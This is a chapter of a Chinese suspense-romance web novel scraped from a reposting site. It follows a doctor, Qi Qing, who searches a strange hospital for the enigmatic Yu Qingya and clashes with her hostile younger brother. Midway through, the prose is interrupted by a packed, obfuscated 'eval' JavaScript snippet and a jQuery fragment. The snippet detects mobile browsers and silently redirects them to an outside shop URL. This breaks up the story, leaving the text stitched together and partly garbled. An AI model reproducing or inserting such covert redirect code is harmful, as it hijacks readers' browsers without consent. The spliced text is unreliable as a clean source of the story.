文趣网 > 其他小说 > 镜垩 > 34. 等待进入网审
    “齐晴,还不下班吗?”

    同事走到她身旁,随手脱下外套搭在臂弯。她心知齐晴性子寡言,平日除了和病患交流,鲜少与人搭话,本也没指望得到回应,可瞥见对方惨白的面色,不由得出声关切:“你脸色很差,是身体不舒服?”

    齐晴转头,认出来人是韩姜然,模糊的记忆渐渐回笼。

    她声音沙哑无力,轻轻摇头:“没事,只是有点低血糖。”

    韩姜然半点不信,瞧她强撑的模样暗自叹气。院中人都清楚,齐晴近来被那个难缠的小病患折腾得身心俱疲,偏生她性子执拗,受了委屈也从不肯倾诉,看着实在让人怜惜。

    “身子难受别硬扛。”韩姜然打开储物柜,掏出牛奶、饼干一股脑塞进她手里,语气热忱,“这些你先垫垫,不够我这儿还有,不用跟我客气。”

    齐晴怔在原地,半晌才回过神,将东西悉数递了回去:“谢谢你,我真的不需要。”

    韩姜然见状,只得悻悻把零食收回柜中,依旧忍不住叮嘱:“那我先走了。真撑不住就及时休息,齐医生还是很好说话的,记得请假,别白白扣了薪水。”

    齐晴点头应下。听见关门声响起,她紧绷的脊背骤然松弛,靠在冰冷的柜门上闭目喘息。无数陌生记忆碎片如走马灯般在脑海里翻涌,层层叠叠压得她喘不过气。

    她必须尽快理清现状,找到虞清漄,揭开所有谜团。

    更衣室的感应灯应声熄灭,周遭陷入一片漆黑。黑暗反倒让齐晴心绪安定下来,思绪也慢慢变得清晰。她已然分不清当下是幻境还是真实,揉了揉发胀的额角,心底只剩一个念头:找到虞清漄。

    咔嗒一声,她合上柜门,暗自思忖对方此刻的去向,脑海中不由自主浮现出医院顶楼的身影。

    “齐晴?你怎么还待在这里?”

    诧异的声音从门口传来。门外的灯光倾泻而入,将昏暗的房间照亮大半。齐晴抬眸望去,望着光影里的人,一时恍了神。

    她记得这人本该远赴国外,为何会突然出现在这里?

    齐晴攥紧掌心,强迫自己稳住心神。

    或许,眼前的一切才是真实呢。

    林霖艺快步走到她身边,语气带着几分嗔怪:“又没按时吃饭吧?我都叮嘱你多少次了,三餐规律才能扛得住高强度工作。”

    齐晴久久凝视着她,直看得林霖艺后知后觉察觉异样,伸手轻轻推了推她:“你到底有没有在听我说话?”

    “霖艺,好久不见。”齐晴勉强扯出一抹笑意。

    “你这是怎么了?说得像是阔别多年一样。”林霖艺满脸焦灼,越看越觉得不对劲,暗自嘀咕,“难不成被那个小疯子折腾得失神了?说话都颠三倒四的。”

    “小疯子?是虞清灼吗?”齐晴敏锐捕捉到名字。

    林霖艺一惊,连忙劝道:“果然是他!你要是实在应付不来,就去找齐医生反映。那孩子性情乖戾,指不定会做出什么出格的事。实在不行我们轮流接手,总好过你独自受委屈。”

    话音一顿,她恍然大悟般低呼:“你该不会还惦记着他姐姐吧?虽然虞清漄容貌出众,但你也没必要把自己搭进去啊。”

    “再加上她还有这么一个疯子弟弟,齐晴她真的不值得你入赘的!”

    林霖艺挽声劝道:“世界这么大总会遇到更喜欢的,没必要单恋一枝花。”

    “姐姐?你说虞清漄?她现在在哪里?”齐晴瞬间精神一振,迅速抓住了重点。

    “她刚上楼了。”

    齐晴听到“虞清漄”三个字的时候,左手正搭在储物柜的边沿上。她下意识收了一下手,指腹滑过柜门冰冷的金属表面,那道旧疤的位置被边缘硌了一下。不疼,但她的手指停住了。像有什么东西在她身体里被那个名字叫醒了一瞬,然后她转身往外走了。

    林霖艺望着她匆匆离去的背影,哭笑不得地嘟囔:“果然还是美人有号召力,一下子就精气神十足了。”说着,她又猛地一拍脑袋,“糟了,我原本要做什么来着……”

    齐晴快步奔至电梯口,只见电梯一路上行,心往下一沉。她反复按着上行按钮,神色焦灼。

    “齐医生,是有什么急事吗?”

    温婉的女声自身后响起。齐晴回头,只见身着一袭白裙的虞清漄立在灯光下,唇角噙着浅淡笑意,“是去找阿灼的?”

    齐晴下意识点头,故作镇定地再次按下电梯键:“嗯。”

    眼前这人,似乎并非她要找的那一个。

    叮咚一声,电梯门缓缓开启。齐晴率先走进电梯,抬眼望去,只见楼层按钮歪扭错乱,不少数字倒置,还有污渍附着在按键表面,透着一股说不出的诡异。

    “怎么了?不清楚病房楼层吗?”虞清漄紧随其后踏入电梯,笑意不变,眼底却藏着审视。她看得出来,今日的齐晴处处透着反常。

    她不对劲。

    齐晴不动声色,按下十六楼的按键,随口问道:“这么晚了,虞小姐怎么还来医院?”

    “给阿灼送晚饭。”虞清漄晃了晃手中的保温食盒,语气无奈,“他惦记着家里陈姨做的点心,我只好特意送来。若是你不嫌弃,不妨一起尝尝。”

    “好。”齐晴目光紧盯着跳动的数字,电梯停稳后,伸手拦住梯门做了个请的手势,“只是不知阿灼是否愿意,他向来对我颇有成见。”

    “不见得愿意跟我一起吃。”

    她心中已有盘算,打算先从虞清灼这里寻找突破口。

    虞清漄眉眼弯弯,笑意意味深长:“放心,他会同意的。”

    病房内,虞清灼站在床上,指着进门的齐晴怒目而视:“这是姐姐专门带给我的东西,你凭什么分食?未免太厚脸皮了!”

    他火气上涌,一脚踢飞枕边抱枕,在床上跳脚叫嚷:“我最讨厌你整日围着姐姐打转!现在见姐姐来了就凑过来,还要跟我争抢吃食……”

    “这么晚了还来找我姐姐,少拿我当借口!谁要你照看我啊!”

    “阿灼。”虞清漄冷声呵斥道。

    虞清灼立刻收敛锋芒,乖乖跪坐下来,一副温顺模样:“既然姐姐开口了,那我就让她吃一点。”说罢,他又转头对着齐晴冷哼,“吃完就赶紧离开,别在这里碍眼。”

    满脸的排斥与不喜展露无遗。

    虞清漄伸手揉了揉他的头顶,温声道:“那阿灼可要多吃些。”

    随后眼眸充满歉意对着齐晴道:“小孩子心性,别放在心上。”

    虞清灼喜滋滋地接过点心,特意举到身前炫耀一番,才小口品尝,连连夸赞:“味道绝佳,也就姐姐带来的吃食最好吃。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693581|207787||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在他心里,虞清漄的话便是金科玉律。

    谁都抵不过,他姐姐。

    虞清漄将另一碟点心递到齐晴手中:“往后还要劳烦齐医生多费心照看他。”

    齐晴接过餐盘随手放在桌边,压根没看一眼精致的点心,语气平淡疏离:“照顾病患本就是我的职责,分内之事而已。”

    虞清漄笑了笑,没有再多言语。

    齐晴拿起病床旁的病历细细翻看,上面记录的并非疑难杂症,而是先天性心脏病。她抬眼看向床上对着虞清漄撒娇的少年,四目相撞的瞬间,虞清灼脸色骤沉,语气刻薄:“看什么看?没事就快走,别在我眼前晃悠。”

    “不许对齐医生这么无礼。”虞清漄轻轻点了点他的额头,转而看向齐晴,笑意温和,“你不会介意吧?”

    齐晴望着她眼底毫无温度的浅笑,忽然扬唇回应:“自然不会,病患优先。”

    她合上病历本:“你们好好休息,我先告辞了。”

    “我送送你。”虞清漄起身,却被虞清灼死死拽住衣袖,只能驻足目送。

    齐晴走出病房的时候,脚步在门口顿了一瞬。她低头看见门边的置物架底部有一片干枯的花瓣,边缘卷曲,颜色褪成了淡褐色。她弯腰把它捡了起来,握在掌心里,然后带上了门。身后虞清灼还在和虞清漄说话,没有人注意到她手里的那片东西。

    房门缓缓闭合,虞清灼脸上的乖巧瞬间荡然无存,满心愤懑:一个个都想抢走姐姐,实在惹人厌烦!

    对上虞清漄似笑非笑的目光,他连忙讪讪解释:“姐姐,你何必对她和颜悦色。”

    “这人肯定跟之前的他们都是一伙的,只想着惦记你的东西!”

    “那你为何对她抱有这么大的敌意?”虞清漄反问,“阿灼你太明显了,如果她真的如你所说惦记我身上的某种东西,那你岂不是在打草惊蛇?”

    虞清灼理直气壮:“我看她就不像好人。再说了,她我可不觉得有什么好打草惊蛇的!”

    他话语充满不屑:“如果真的和他们是一伙的,那派来的人也太蠢了吧?太明显了吧!”

    “阿灼,这世上本就没有绝对的善与恶。”

    “不许再这样了!”

    “我不管!姐姐在我心里就是全然的好人,我这一辈子,只信姐姐一人。”

    虞清漄眼底笑意真切了几分,眉眼柔和:“好,那阿灼可要说到做到。”

    “那是自然!”虞清灼扬起骄傲的小脸,“姐姐去哪里,我就跟到哪里,你千万不要丢下我。”

    夜色深沉,月华如水。

    齐晴独自站在顶楼阳台,晚风猎猎扬起她的白大褂,在沉沉夜幕中格外醒目。

    楼下,虞清漄似有所感,抬眸望向楼顶,二人遥遥相望。清风拂动她的裙摆与发丝,她垂眸浅笑,抬手将碎发别至耳后。

    晚风穿过楼宇,携着无声的追问在夜色里回荡。

    “虞清漄,你到底是谁……”

    顶楼的风很大,齐晴站在那里,低头看着手心。刚才从置物架底捡起来的那片枯花瓣还在,被风吹得微微颤动,像随时会从她掌心里飞走。她把它攥紧了,再松开的时候,花瓣边缘被她捏出了一道新的折痕,弯弯的,收尾微微上扬。她看了那道折痕好几秒,觉得眼熟,但不知道在哪里见过。